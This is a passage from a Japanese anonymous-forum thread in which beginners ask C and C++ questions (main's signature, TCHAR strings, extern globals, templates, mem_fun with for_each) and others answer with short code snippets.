VC++から実行すると 単に
実行ファイル.exe
だけ実行されて、引数はないから
argcは1になるだから if(argc!=3)
が真になってexit()が実行されて
プログラムが終了。
解決方法として、1. VC++のmain引数の設定をする
もしくは 2.コマンドプロンプトから
自分で引数を指定して実行する
いま、手元にVC++の環境がないから
設定がわからないけどwebで調べれば
あるはず。。」 読む本はどんな本
をよんでいいか 神の誤導きを!
これから、構造体向かいたいのに
OS WIN XP Ver.Visual C++6.2
0357デフォルトの名無しさん
NGNG解の公式は使用せず、与式をx=(pow(x,2)+1)/3に変形して求めるものです。
もう少し工夫すれば、配列や変数nを使わずに済みそうなのですが、わかる方、ヒント頂けませんか?
#include <stdio.h>
#include <math.h>
void main(void)
{
int n;
double x[1000],ep;
ep=pow(10,-3);
x[0]=1.00;
n=0;
while(fabs((x[n+1]-x[n]))>=ep){
x[n+1]=(x[n]*x[n]+1)/3;
n++;
printf("%f\n",x[n]);
}
}
0359デフォルトの名無しさん
NGNG二児は忘れた
0360デフォルトの名無しさん
NGNGそれのどの辺がC++?
0361358
NGNG#include <stdio.h>
#include <math.h>
void main(void)
{
double x1,x2,ep;
ep=pow(10,-5);
x1=1.00;
x2=(x1*x1+1)/3;
while(fabs(x2-x1)>=ep){
x2=(x1*x1+1)/3;
x1=x2;
printf("%f\n",x1);
}
}
0362デフォルトの名無しさん
NGNG0363デフォルトの名無しさん
NGNGC言語なら、俺に聞け! <22>
http://pc.2ch.net/test/read.cgi/tech/1022402165/
0364358
NGNG0365馬鹿☆栗子
NGNG0366デフォルトの名無しさん
NGNG0367デフォルトの名無しさん
NGNGusing namespace std;
int main()
{
double x1 = 1.0, x2 = (x1 * x1 + 1)/3, ep = pow(10, -5);
while(fabs(x2 - x1) >= ep)
cout<<(x1 = x2 = (x1 * x1 + 1)/3)<<endl;
}
0368358
NGNGc++とcの区別ついてなくてスマソ・・・
0369デフォルトの名無しさん
NGNGC++
int main() {・・・retrun 0;}
void main() {・・・}
C
int main() {・・・retrun 0;}
0370デフォルトの名無しさん
NGNG0371デフォルトの名無しさん
NGNG・意義(なぜ使うのか)
・プログラム上の扱い方
・DOS、あるいは VC++での指定方法
のどれがわからないんだろう。
どうも2番目は分かっているような感じだけれど。
0372デフォルトの名無しさん
NGNG「平気で void main(void) などと書いているCの教本があるが、
Cを大して理解していないと自ら言っているようなものである。
そんな本は買わない方がいい。」
みたいなことが書いてあって、激しく同意した記憶があるのだが、
これって今でも有効?
ていうか C++ でもいまだにこんなOS dependな規約になって
いるわけ?誰か標準化に詳しい方、意見求む。
「こんなOS dependな」を念のため補足すると
・プロセスは必ずコマンドライン引数列をmainに渡す。
よってmain(void)はありえない。
・mainは必ず親プロセスに終了コードを返す。よってvoid main()は
ありえない。
※コンパイラが受け付けるかどうかは別の話。
0373デフォルトの名無しさん
NGNG「平気で void main(void) などと書いているCの教本があるが、
Cを大して理解していないと自ら言っているようなものである。
そんな本は買わない方がいい。」
これについては、まあそれなりに今でも通用すると思う。でも、
「こんなOS dependな」を念のため補足すると
・プロセスは必ずコマンドライン引数列をmainに渡す。
よってmain(void)はありえない。
・mainは必ず親プロセスに終了コードを返す。よってvoid main()は
ありえない。
この理由は違う。そんな解説してある本があったら、それも糞。
0374デフォルトの名無しさん
NGNG0375デフォルトの名無しさん
NGNG0376デフォルトの名無しさん
NGNG#define __T(x) L ## x
の意味が分からないのですが。
この L は何を意味してるのでしょうか?
0377デフォルトの名無しさん
NGNG0378376
NGNGありがとうございます。理解できました。
マルチバイトのルーチンはunsigned charみたいなのですが、
やはりこんなふうにしないと使えないのでしょうか?
unsigned char string1[20];
_mbscpy(string1,reinterpret_cast<unsigned char*>("ABC"));
//static_castはだめ?
0379デフォルトの名無しさん
NGNG_wcscpyだと思うし、TCHAR/_tcscpyで自動的に切り替えてくれる
0380デフォルトの名無しさん
NGNGでしょうなぁ。
static_cast はダメ。でも void* との変換は出来るので、 static_cast を2つ重ねればいけるかもしんないけど、んなことする意味ないし・・・。
0381デフォルトの名無しさん
NGNG個人的には、これで本の価値をけなしている文章を書く著者は
「たいしたことない」と思う。
本質的な問題じゃないだろう。
0382デフォルトの名無しさん
NGNGたしかそんなのがあった!
0383デフォルトの名無しさん
NGNGunsigned char string1[20];
_mbscpy(string1,__M("ABC"));
でいけそうな気がするけど、
CString ってデフォルトでマルチバイト使ってるっぽいけど
unsigned char使ってないんだよな。
シングルバイトは無視して、char で受け付けて
ルーチンはMultiByteの使ってるってことなのか...
0384デフォルトの名無しさん
NGNGなんでそんな事したいわけ?
普通にワイド版の関数使えばいいじゃないか。
終端のnullが1byteしかコピーされないから破壊が起きるんじゃないの?
0385デフォルトの名無しさん
NGNGそういうポリシー?
0386デフォルトの名無しさん
NGNG同感だけど、でも「なんでvoid main(void)やねん!」とも思う。
せめてmain()とだけ書いておいてくれれば...
0387デフォルトの名無しさん
NGNG_tcs〜はTCHARの時だな。
wchar_t/ushortの時は_wcs〜だ。
0388デフォルトの名無しさん
NGNG#define UNICODEと
#define _UNICODEするだけだろ?
0389376
NGNGとかで
場合によって T に
char(シングル),unsigned char(マルチバイト),wchar_t(ワイド),TCHAR
を割り当てるクラス作ったんですが、
CStringSTL<unsigned char> Mt;
にunsigned char*を渡して処理するときに
unsigned char*だと("ABC")とかを渡したいときに
キャストしないといけないことに後から気づいたんで。
どうしようか悩んでるんです。
0390デフォルトの名無しさん
NGNG切り替えたいときはTCHARベースにして、文字列はマクロTEXT()/_T()を使用するべき。
もう一つはstd::basic_string()を継承してはいけないこと。
0391デフォルトの名無しさん
NGNGlocaleは適切に設定しておけよ
0392デフォルトの名無しさん
NGNG0393389
NGNG前にも言われたことなのですが、
basic_stringを継承してはいけない理由がわかりません。
operator,コピーコンストラクタ等を定義し直して、
メンバ変数も持たなければ問題ない気がするのです。
でもbasic_stringって結構でかいんですよね。(26バイトもある)
0394デフォルトの名無しさん
NGNGマクロベースのルーチンになるから、
同じプログラムで両方使い分けられなくなるのが嫌だったんです。
templateにしておけば両方可能なぶんだけ柔軟性があると...。
(あくまで文字列クラスの設計としてです。結局普通に使う時はTCHARになるんだと思う)
0395デフォルトの名無しさん
NGNG>>390 じゃねぇけど、basic_string のデストラクタ見てみれ。
0396デフォルトの名無しさん
NGNGbasic_stringのデストラクタが仮想デストラクタじゃないって事?
0397デフォルトの名無しさん
NGNG安全、(速度)を考えての設計だと思いますが、
basic_stringのポインタに派生クラスをnewで動的に作成するときに
deleteしたときに派生クラスのデストラクタが呼ばれない問題は
使い方を気をつければ大丈夫だと思う。
(CStringもvirtual使ってないはずです。でないとVtableが邪魔して
Formatを使うときにCStringをLPCTSTRにキャストする必要がでてくると思う)
追記:
CStringはやはりデータはcharで保持、統一していて
reinterpret_castでchar*からunsigned char*にキャストして
_mbscmpとかを使ってるみたいです。
0398デフォルトの名無しさん
NGNGjpegのファイルをバイナリとして表示したいのですができません。
以下のプログラムではどこがだめなんですか?
#include<stdio.h>
main()
{
int a[100],i;
FILE *fp;
fp=fopen("test.jpg","rb");
for(i=1;i<=3;i++){
fscanf(fp,"%x",&a[i]);
printf("%x",a[i]);
}
fclose(fp);
}
0399デフォルトの名無しさん
NGNG>>363
0400デフォルトの名無しさん
NGNG0401デフォルトの名無しさん
NGNGchar型の配列にそのままよみこんで、1バイトずつprintfで表示させればいいんじゃネーノ?
それと、配列の添え字は0から。
0402デフォルトの名無しさん
NGNGmain()
{
FILE *fp = fopen("test.jpg","rb");
int c;
while((c = fgetc(fp)) != EOF)
printf("%02x",c);
fclose(fp);
}
0404デフォルトの名無しさん
NGNGwhile(a = fgetc(fp), printf((a != EOF)?"%02X ":"%s", (a != EOF)?a:reinterpret_cast<int>(MACRORIN)) != sizeof MACRORIN -1);
0405デフォルトの名無しさん
NGNG0406デフォルトの名無しさん
NGNG0407デフォルトの名無しさん
NGNGC++らしさって何?
0408デフォルトの名無しさん
NGNG0409デフォルトの名無しさん
NGNGそういうこと言うとマ板のあの人たちに怒られちゃいますよ・・・・
0410デフォルトの名無しさん
NGNGusing namespace std;
main()
{
FILE *fp = fopen("test.jpg","rb");
int c;
while((c = fgetc(fp)) != EOF)
printf("%02x",c);
fclose(fp);
}
0411デフォルトの名無しさん
NGNG0412デフォルトの名無しさん
NGNGせめて ifstream とか get() とか使えって。
0413デフォルトの名無しさん
NGNGwhile(ifs) cout << hex << ifs.get() ;
0414デフォルトの名無しさん
NGNGwhile (ifs) cout << hex << setw(2) << setfill('0') << ifs.get();
ああーまたマニピュレータの悪魔が・・・・・
0415デフォルトの名無しさん
NGNGバイナリだから
ifstream ifs("test.jpg", in | binary);
0416デフォルトの名無しさん
NGNGbasic_istream::read/basic_ostream::writeの引数はchar_type*なので、毎回キャストしてやら無ければいけませんし、読み書きサイズも単位が文字数なのでデータが文字サイズの倍数じゃないときはうまくいきません。
fread/fwriteのように、キャストが必要なく、バイト単位で読み書きできる方法をご存知でしたら教えてください。
0417デフォルトの名無しさん
NGNGという関数をDLLにしたんですが、何故かリンクエラーになります。
何故なんですか?さっぱり分かりません。
0418デフォルトの名無しさん
NGNG0419デフォルトの名無しさん
NGNG実体がないからじゃないでしょうか?
DLL側でfunc<int>(10);などとやりたければ、
どこかにfunc<int>が存在しなきゃいけないけど、
DLLを作成した時点ではfunc<int>は存在していないし。
0420名無しのゴローさん
NGNG今日こそstreamでもやるか。
0421デフォルトの名無しさん
NGNG0422デフォルトの名無しさん
NGNG0423デフォルトの名無しさん
NGNG0424デフォルトの名無しさん
NGNGしたいのですが、memset()するしかありませんかねえ?
HOGE hoge = {0};
とした時と同じようにスマートに書きたいんですが・・・
0425デフォルトの名無しさん
NGNG0426デフォルトの名無しさん
NGNG0427デフォルトの名無しさん
NGNG初期化リストでデフォルトのコピーコンストラクタを使って初期化する
・・あんまりスマートじゃないか
0428デフォルトの名無しさん
NGNG>>425素直には初期化子リストには書けないようです。
>>426Cでも使う構造体なんで、ヘッダは変更できないんです。継承すればいいんですけどこのためだけにはちょっと・・・
>>427こういうことですか?
struct HOGE{
int i,j,k;
};
class Foo{
static const HOGE zerohoge_;
HOGE hoge_;
public:
Foo():hoge_(zerohoge_){}
};
const HOGE Foo::zerohoge_ = {0};
たしかに、これでいけますね。でもちょっとイマイチかなあ。
でもこのやり方、他の場面に使えそう。
まあ、素直にmemsetしておきます。
0429デフォルトの名無しさん
NGNG0430デフォルトの名無しさん
NGNGstaticメンバじゃ、クラスをたくさん作っても、一つしかないよ。その辺は
不都合ない?
0431デフォルトの名無しさん
NGNGないと思われ。constだし、初期化専用だし。
0432初心者
NGNG0433デフォルトの名無しさん
NGNG0434デフォルトの名無しさん
NGNGマルチタスクのところなのですが
例題にでている<unistd.h>というファイルが
見当たりません。
gcc 2.95環境も探してみましたがありません。
これはどこorどのファイルなのでしょうか。
0435デフォルトの名無しさん
NGNGgccだと。
マルチタスクとそれがどう関係するのか?だけど。
0436デフォルトの名無しさん
NGNG0437デフォルトの名無しさん
NGNG見当違いなことを書いていたみたいですみません。
質問を変えて、fork()関数はどのヘッダに定義されているのですか?
0438デフォルトの名無しさん
NGNG実装しているが。スレッドを動かしたければWin32APIの
CreateThreadを使う。
0439デフォルトの名無しさん
NGNGお早いお答えどうもありがとうございました。
0440デフォルトの名無しさん
NGNGUNIX でも fork() はヘッダには「定義」されてないと思うが。宣言と定義の違い、
それからシステムコールとユーザ関数の違いは知っておいた方が良いぞ。
0441デフォルトの名無しさん
NGNG0442デフォルトの名無しさん
NGNG0443デフォルトの名無しさん
NGNG0444デフォルトの名無しさん
NGNG0446デフォルトの名無しさん
NGNGc++でクラスオブジェクトをグローバルに共有したい場合はどうすればいいのですか?
externで良い?
0447デフォルトの名無しさん
NGNG0448デフォルトの名無しさん
NGNGこんな朝早く、、、、
お前らもエッチだな(*´д`*)
0449デフォルトの名無しさん
NGNGそうですか。うーん。。
ヘッダファイルglobal.hで
#include "cfooclass.h"
#if defined _INSTANCE_
#define EXTERN
#undef _INSTANCE_
#else
#define EXTERN extern
#endif
EXTERN CFooClass g_foo;
とか定義して、いくつかのcppファイルからincludeしてるんですが、
そのうちのmain()を記述してるcppファイルで#define _INSTANCE_して
一回だけ変数を宣言して、そのほかのcppファイルでは外部宣言にしてるんですけど
エラーとなってしまいます。
d:\test\global.h(xx) : error C2146: 構文エラー : ';' が、識別子 'g_foo' の前に必要です。
d:\test\global.h(xx) : fatal error C1004: 予期せぬ EOF が検出されました。
エラーメッセージは↑ですが、これは何が間違っているのでしょう。・゚・(ノД`)・゚・。
0450デフォルトの名無しさん
NGNGその奇怪な extern がヤバイと思われ。
素直に cpp で実体定義したらいいじゃん。
0451449
NGNGextern "C" {
}
でくくる必要ってありますか?
0452デフォルトの名無しさん
NGNG名前変形を阻止するために必要なだけ
0453デフォルトの名無しさん
NGNGC++ なら header で extern CFooClass g_foo; と宣言して
cpp ファイルで そのまま CFooClass g_foo 〜と定義したらいいんちゃう。
0454デフォルトの名無しさん
NGNG0455デフォルトの名無しさん
NGNG0456デフォルトの名無しさん
NGNG....
} <- ここにセミコロンがない
0457449
NGNG>452
そうでしたか。
>453
VC++でございます。
>449のやり方って結構Cではやりません?
>454
してます。
0458デフォルトの名無しさん
NGNG0459デフォルトの名無しさん
NGNG>>453 が定番だよ。
ヘッダ側は extern のみ。条件コンパイル不要。
実体定義をひとつのモジュールで行う。
0460449
NGNGそうですか。その方法でやることにします。定番って事で安心ですし
みなさま、早朝からお騒がせしましたm(_ _)mペコリ
0461デフォルトの名無しさん
NGNGいや、問題が解明できていないので
単にそう直しても直るかどうか・・
0462デフォルトの名無しさん
NGNGつか、C++でexternなんて使うなよー。Singletonパターンにしとかないと、
後でひどい目に遭うぞ。
0463デフォルトの名無しさん
NGNGつまり、extern (int) CFooClass … に解釈されてる。
0464デフォルトの名無しさん
NGNGどんな目?
0465デフォルトの名無しさん
NGNG異なるコンパイル単位での初期化順序の制御が問題になる。
詳しくは、Effective C++を買って読むべし。
0466デフォルトの名無しさん
NGNG0467デフォルトの名無しさん
NGNG{
class T{
public:
int operator<<(int i){return f();}
int p;
virtual int f(){*this<<0; return 0;}
}o;
cout<<(o << 9)<<endl;
return 0;
}
なんでエラー?
0468デフォルトの名無しさん
NGNG五・七・五?
0469デフォルトの名無しさん
NGNGなるほど
ではそのクラス自体はSingletonでは困る場合はどうするの?
0470デフォルトの名無しさん
NGNGとりあえずスタックオーバーフローがおきそう。
コンパイルエラーになるようには見えないけど。
0471469
NGNG0472デフォルトの名無しさん
NGNGそれが問題になるのは、複数の大域変数(というかクラスのインスタンス)の
初期化時に相互に依存する場合に限られるのと思うが、どうか。
それ以外の場合は普通に>>453でOKと思うが・・・。
0473465
NGNGそのとおり。でも、問題が起きるまで手抜きな実装手段をやってて、いざ問題が起きたときに
泥縄でやり直すのはよろしくないよ。……ってなことは、More Effective C++に書いてあるので、
買って読もうな。
0474デフォルトの名無しさん
NGNG俺はEffectiveシリーズは読んだYO。Moreの方は手元にないが・・・。確かに必読の
良い本だと思う。
言いたかったのは、事情がわかっていれば、>>453の実装でなんら問題はないと
いうこと。つまり、なんでもパターンを駆使すればよいということではなく、
それがTooMuchになるケースもあると。もちろん、シングルトンのメリットも
理解しているつもりなので、適材適所で使い分けるのが良いと言いたかった。
>手抜きな実装手段をやってて、いざ問題が起きたときに泥縄でやり直すのはよろしくないよ。
これには同意。でも>>453が必ずしも手抜きとは思わないよ。(あくまでケースバイケースだが・・・)
それに、シングルトンを使用すべきところをグローバルインスタンスを使用して
泥縄になるのは、手抜きな実装に起因するというよりも、設計段階の問題と思うが・・・。
0475465
NGNG「わかってないから、やろうとしない」の可能性があるから言っただけだから。
0476デフォルトの名無しさん
NGNG消えるからなぁ.. constructor で時間がかかるオブジェクトだと
作って、消えて、作りなおして、消えて、とパフォーマンスが落ちるよね
いや、単に実装が悪いだけだけど.. ダミーの参照オブジェクトで
管理するのが泥臭いんだけど, いいのかな
関連するオブジェクトをまとめてコンポジションして
相互に依存しないように新しいクラス作って extern つのもあるけど..
0477デフォルトの名無しさん
NGNGこれからC++を学ぼうとしてるならこれだ。
0478476
NGNGeffective C++ とか読んだことないんでみんなどうやって
スマートに解決してるのか知りたいんですけども..
やはり本はちゃんと読んでおくべきか..
0479デフォルトの名無しさん
NGNG> Singleton は参照するオブジェクトがすべて消滅すると一緒に
> 消えるからなぁ..
それは Singleton の要件とは無関係の気が。むしろ、そんな実装にしたら
Singleton オブジェクトの状態を保持できないから、制限キツすぎだと思う。
0480476
NGNGどもどもレスサンクス..
某所でアップされてたSingletonの実装は参照カウンタになってたのね
それで参照カウンタゼロで消滅。たぶん使ってるオブジェクトがいないなら
状態を保つ必要もないと考えたんだろうなぁ
C++だといつ消すか問題になるよね 使わないオブジェクトがいつまでも
居座るのもいまいちアレだし..
やっぱりスマートな定番の実装ってのがあるんでしょうか..?
0481480
NGNG任意に消せるってパターンかな..?
0482(゚д゚;)
NGNGvector<char>::iterator f, e;
++++++++(&++++++(&++++(&++(f = vc.begin())[1])[1])[1])[1];
for(e = vc.end();f != e;f++) cout<<*f<<"\t";
bccで通っとる・・。
0483デフォルトの名無しさん
NGNGModern C++ Designでそういう実装の考察してるね
0484初心者
NGNGBYTE a ;
a = ~a+1;
と、あった場合には、aを反転したものに1をたすという意味で
よろしいですよね。
教えてください。
0485デフォルトの名無しさん
NGNGC++固有の話として聞いてるんだよな?
演算子オーバーロードで違う挙動になってるかもしれない、と答えてみるか。
0486465
NGNGいや、君のような人には、マジでEffective C++を読んでもらいたい。
Singletonのスマートな実装が載ってるから。あまりのショックにひっくり返り
そうなほどのスマートさで。
ただ、>>481でいう、「任意に消せる」は実装してないけど。
それをやりたいなら、>>483のいうとおり、Modern C++ Designだね。
でもModernのコードは高度すぎて、コンパイラがついてこれてないから、
今は意味がない(ちなみにVC.NETでも通らないらしい)。
0487デフォルトの名無しさん
NGNG洋書ですか?
0489デフォルトの名無しさん
NGNGサンクスです。
ちなみに、Cを終わったばかりでC++をはじめようって時に
一番のお勧め本はなんですか?
0490初心者
NGNGどうもです。
0491デフォルトの名無しさん
NGNGCをマスターしてるんなら、Accelerated C++がお勧め。
>>488の推薦図書の中にもあるっしょ。そこでは
「中級者向け」ってあるけど、これは「プログラミングの中級者向け」
であって、内容的には「C++初心者〜中級者向け」のことが
書いてある。
0492デフォルトの名無しさん
NGNGとか言ってみたりして。
0493465
NGNGあ、そうらしいね。Genericスレに書いてあったわ。ちなみに、俺が持ってる(使ってる)のが
VC6だから、「(VC6だと通らないんだけど、)VC.NETでも通らないらしい」って意味だ。
0494デフォルトの名無しさん
NGNGありがとうございます。
注文してみます。
0495デフォルトの名無しさん
NGNGファイルのフォーマットについて詳しく書いてあったり、
実際のMIDIファイルを例に取り上げて記述しているような
ページがあったら教えてください。
0497デフォルトの名無しさん
NGNGtemplate<typename A,typename B>class tCA{};
template<typename C>class tCA<C,int>{};
};
エラー出ないのにナンデ動かないんだヨ??もうワケワカンネェヨ。
0498デフォルトの名無しさん
NGNGtemplate<typename I>struct TCB{
typedef typename TCA<I> HEAD;
};
TCA(){cout<<typeid(TCA).name()<<endl;}
};
0499デフォルトの名無しさん
NGNG落としたアイコンをダブルクリックすると
Could not intialize inst・・(省略)・・パラメータが正しくありません。
とでてOKをクリック(OKしかない)すると元の画面に戻ります。
何度やっても同じです。
どうすればいいでしょうか?
0500デフォルトの名無しさん
NGNG省略するなよ
0501499
NGNGCould not intialize installation.File size expected=48049450.size returned=20408929.パラメータが正しくありません。
0502デフォルトの名無しさん
NGNG0503499
NGNG自分だけですか?
0504デフォルトの名無しさん
NGNG0505デフォルトの名無しさん
NGNG0506499
NGNGエディタも一緒のがいいのですが・・・
0507デフォルトの名無しさん
NGNG推してみたい>>504
0508デフォルトの名無しさん
NGNG0509デフォルトの名無しさん
NGNG「猫でもわかる」でぐーぐってみ?
0510デフォルトの名無しさん
NGNG柴田望洋著「プログラミング講義C++」などはいかが?
0511デフォルトの名無しさん
NGNGありがとうございました。今から勉強します。
0512デフォルトの名無しさん
NGNG0513デフォルトの名無しさん
NGNGhttp://www.sist.ac.jp/~suganuma/learn/learn.html
なんか割とわかりやすいと思うんだが。
0514デフォルトの名無しさん
NGNG0515デフォルトの名無しさん
NGNGmem_fn に何かあったの?
0516デフォルトの名無しさん
NGNGついては同一視して扱いたい、という場合があります。次の enum Foo; と
enum Hoge; のような感じ。
enum Foo { a, b, c, d };
enum Hoge { B = b, C = c };
void foo( Foo x ) { }
void hoge( Hoge x ) { foo( (Foo)x ); }
int main() { hoge( B ); }
ここでは、関数 hoge() から foo() を呼び出すときにどうしても
キャストが必要になってしまうのですが、このように同一視して扱いたい
複数の enum がある場合に、キャストを使わずにすむような、もっと
スマートなやり方はないでしょうか。
0517516
NGNGinline Foo convertToFoo( Hoge x ) { return (Foo)x; }
みたいな変換関数に閉じ込めることで対処してみた。
ふつう、このインラインは何もコードを生成しないよね?
0518名無し募集中。。。
NGNGありますかね???
0519デフォルトの名無しさん
NGNG0521デフォルトの名無しさん
NGNG0522デフォルトの名無しさん
NGNG0523名無し募集中。。。
NGNGありがとう
それよく売ってるね
0524デフォルトの名無しさん
NGNG0525名無し募集中。。。
NGNG一応友達に企業から依頼されてる人がいて
その人から色々学んで
めちゃくちゃ簡単な事なら出来るけど
すごく簡単な関数ぐらいならどうにか出来る
あと何となくクラスとポインタも分かる
とりあえず親切にありがとう
0526デフォルトの名無しさん
NGNGむぅ?
0527名無し募集中。。。
NGNG分からなかった(^^ゞ
すんまそm(__)m
0528デフォルトの名無しさん
NGNG「プロテクトコンストラクタを持ってるクラスのオブジェクトは定義できない。この
クラスは継承されるためのクラスである。継承されるためのクラスという点では純粋仮想
関数を持ってるクラスと同じである。」
という風に理解しているのだが、いいだろうか?
0529デフォルトの名無しさん
NGNG0530デフォルトの名無しさん
NGNG勝手にインスタンスを生成されたくない場合に、
コンストラクタをprivateにすることがある(例:シングルトン)
この場合、staticなメソッドあるいはfriend関数/クラスから作成する。
0531528
NGNGう〜〜む、俺がプロテクトコンストラクタを使いたい理由はこのクラスはこのまま
使っても意味がないから(インスタンスを生成されたくない)継承して機能を
拡張してから使え・・・ということなのだが。
こういう使い方はダメなの?
0532デフォルトの名無しさん
NGNGだめ、というか意味がないでしょ。
継承したって何もオーバーライドしなかったら元のクラスのオブジェクトをそのまま作ったのと何の違いもないもん。
0533デフォルトの名無しさん
NGNGいいんでないの
0534デフォルトの名無しさん
NGNGそういう場合は抽象クラスにすると思う
0535デフォルトの名無しさん
NGNGそうね。純粋仮想関数用意したほうが実装を強制できるね。
0537デフォルトの名無しさん
NGNG無い
0538デフォルトの名無しさん
NGNGMixinするので生成してほしくないが仮想関数も必要ないという場合。
もっともMixinして使うクラスを単体で作成できたからといって
大して害はないんだが。
0539デフォルトの名無しさん
NGNG派生は強制させたいがconstrucgor以外は何も変更しなくてよい、というシチュエーションがあるのなら
protected constructor方式にも意味あるのかもしれない。
0540デフォルトの名無しさん
NGNG派生させたい理由が思いつかないけどね。
class Class: public Base{};
するだけでインスタンス作れるようになっちゃうし。
0541528
NGNG0542デフォルトの名無しさん
NGNGファイルに2バイト文字が含まれると認識せず、ハイパーリンクになりません。
あと、スペースも(これはMSDNに書いてあったけど…)
たとえば、
C:\ホゲ\Hoge.exe や、C:\Hoge Hoge\Hoge.exe
は
C:\
になってしまいます。
解決方法を知っている方いたらおながいします。
0543デフォルトの名無しさん
NGNG#include <vector>
using namespace std;
class CBase {};
class CDerived : public CBase {};
template<typename T>
class CTest {};
template<> class CTest<CBase>
{
public :
CTest(){ // ----- �@
printf("Test\n");
}
};
int main()
{
CTest<CDerived> test;
return 0;
}
これで、�@が呼び出されないのは何故?
使用環境は、VC++ 6.0 SP5です。
0544デフォルトの名無しさん
NGNG0545デフォルトの名無しさん
NGNGCTest<CBase> と CTest<CDerived> は別クラス
0546デフォルトの名無しさん
NGNG明示的特別化ヴァージンって知ってるか。
0547543
NGNGtemplateクラスに引数を与える時にCBaseに変換してくれないのかなーと、思ったわけで…。
>>546
???
template<> class CTest<CBase>
のことじゃないの?
0548543
NGNG0549デフォルトの名無しさん
NGNG0550543
NGNGつまり、CTest<CDerived> test;としても、
CTest<CBase>のコンストラクタが呼び出されるようにしたい
ということなんですが…無理ですかね?
0551デフォルトの名無しさん
NGNG本を参照シル
0552デフォルトの名無しさん
NGNGModern C++ Designでも読んでみるとか
0553543
NGNGoperatorを定義すれば良いみたいです…。
0554デフォルトの名無しさん
NGNGtemplate<typename T>
class CTest
{
public:
CTest(){ CreateImpl( (T*)0 ); }
private:
void CreateImpl( CBase* ){printf("Test\n");}
void CreateImpl(...){}
};
0555543
NGNGoperator CTest<T2>を定義したところで、
CTest<CBase>のコンストラクタは呼び出されなかったことに気づいた…(汗)
>>554さんのような方法もあるけど、
なんか、エレガント(epistemeのパクリ)じゃないような…。
そもそも、コンストラクタを呼び出す必要があるのかどうか、
もう一度考えてみることにします。C++の蟻地獄にはまらないうちに…(笑)
0556デフォルトの名無しさん
NGNGstd::for_each の第三引数をどう書けばよいか教えてください。
#include <iostream>
#include <vector>
#include <algorithm>
#include <functional>
using namespace std;
class A {
public:
void operator()(char c) {
cout << c << endl;
}
void foo(char c) {
cout << c << endl;
}
void bar(void) {
vector<char> cv;
cv.push_back('a');
cv.push_back('b');
for_each(cv.begin(), cv.end(), *this); // 通る
for_each(cv.begin(), cv.end(), /* foo を呼ぶ為にはどう書けばいいですか?? */ );
}
};
単なるforループにしろやってのはナシで…。
0557デフォルトの名無しさん
NGNG0558デフォルトの名無しさん
NGNGども。mem_fun_ref(&A::foo)でしょうか…?
どうも手元のコンパイラ(g++の2.96)では通らないです。
0559デフォルトの名無しさん
NGNGclass hoge {
public:
T a;
T b;
};
↑こういうのがあるとき、
hoge<float> A;
hoge<double> B;
という変数を作って、A = B; を実行するにはどうすればいいでしょうか。
この場合のoperator=の定義の仕方がわからないです。
0560デフォルトの名無しさん
NGNG#include <iostream>
#include <vector>
#include <algorithm>
#include <functional>
using namespace std;
class A {
public:
void operator()(char c) {
cout << c << endl;
}
void foo(char c) {
cout << c << endl;
}
void bar(void) {
vector<char> cv;
cv.push_back('a');
cv.push_back('b');
for_each(cv.begin(), cv.end(), *this);
for_each(cv.begin(), cv.end(), mem_fun(&A::foo));
}
};
int main()
{
}
0561デフォルトの名無しさん
NGNGコンパイラがわるい? >>560
$ g++ a.cpp -Wall
a.cpp:35: return type for `main' changed to `int'
/usr/include/g++-3/stl_algo.h: In function `_Function for_each
(_InputIter, _InputIter, _Function) [with _InputIter = char *,
_Function = mem_fun1_t<void, A, char>]':
a.cpp:21: instantiated from here
/usr/include/g++-3/stl_algo.h:83: no match for call to
`(mem_fun1_t<void, A, char>) (char &)'
/usr/include/g++-3/stl_function.h:602: candidates are: void
mem_fun1_t<void, _Tp, _Arg>::operator() (_Tp *, _Arg) const [with _Tp =
A, _Arg = char]
0562デフォルトの名無しさん
NGNGtemplateにfriend宣言は使えないので困難。
0563557
NGNGmem_fun1_t<void,A,char> f(&A::foo);
for_each(cv.begin(), cv.end(), bind1st(f,this) );
mem_fun系で作った関数オブジェクトはthisポインタを第一引数に入れてやんなきゃいけないから、
binderでthisをバインドしてfor_eachで呼ぶ。
>>560
コンパイルとおりませんよ。(GCC3.0.4)
0564デフォルトの名無しさん
NGNGtemplate<typename ref>
hoge(const hoge<ref>& rhs)
{
this->a = rhs.a;
this->b = rhs.b;
}
0565デフォルトの名無しさん
NGNGできました!!
これは僕には想像もできない答だ…。ありがとうございました。
0566デフォルトの名無しさん
NGNGSTLPortだと通るね。汎用性なしか。
0567デフォルトの名無しさん
NGNG0568デフォルトの名無しさん
NGNG(うちの古いコンパイラがtemplate内でtemplate使えなかったので、
BCC5.5をダウンロードして確認するのに時間かかってしまいました・・・)
0569デフォルトの名無しさん
NGNG0570デフォルトの名無しさん
NGNG0571デフォルトの名無しさん
NGNG0572デフォルトの名無しさん
NGNGニューソクニ(・∀・)カエレ!
0573デフォルトの名無しさん
NGNG夜に563の神が答えてくれるだろうから暫し待て。
0574デフォルトの名無しさん
NGNG別物。引数を受け取るオブジェクトかそうでないか。
0575デフォルトの名無しさん
NGNGどんなときつかうの?
0576デフォルトの名無しさん
NGNG引数を取らないメンバ関数へのアダプタがmem_fun_t
引数2つ以上のは標準では用意されてない。
これくらいは調べなさい。
0577デフォルトの名無しさん
NGNG0578デフォルトの名無しさん
NGNGttp://www.infosite.co.jp/~maruyama/misc/smf.html
少しぐらいは自分で調べろよ…。(-_-;
0579578
NGNG0580デフォルトの名無しさん
NGNGusing namespace std;
using std::cout;
とかは関数内、クラス内に書いてもよいのですか?
0581デフォルトの名無しさん
NGNG聞く前に試せよ。大丈夫。
0582デフォルトの名無しさん
NGNGVC++じゃコンパイルエラー出るよ
0583デフォルトの名無しさん
NGNGusing std::cout; は宣言だ。
using namespace std; は複数回繰り返せるが、using std::cout; を
繰り返すのは名前を2重に宣言することになりエラーだ。
0584デフォルトの名無しさん
NGNGあんまり本に書いてないんですもん..(;;)
どうもです。
0585デフォルトの名無しさん
NGNG0586582
NGNGclass A
{
using namespace std;
};
0587デフォルトの名無しさん
NGNG0588デフォルトの名無しさん
NGNG関数ではできるが、classではできないね。
0589デフォルトの名無しさん
NGNGBCC5.5じゃコソパイルできんのう
0590デフォルトの名無しさん
NGNG0591デフォルトの名無しさん
NGNGActiveXを登録・削除する方法がまったくわかりません。
わかる方はおられますでしょうか?
0592デフォルトの名無しさん
NGNGhttp://pc.2ch.net/test/read.cgi/tech/1022499000/
0593デフォルトの名無しさん
NGNGVCではコンパイルできないんだけど、これは仕様に沿ってるの?
#include <iostream>
namespace test{
int main(void){
std::cout << "Test!" << std::endl;
return 0;
}
}
using namespace test;
0594デフォルトの名無しさん
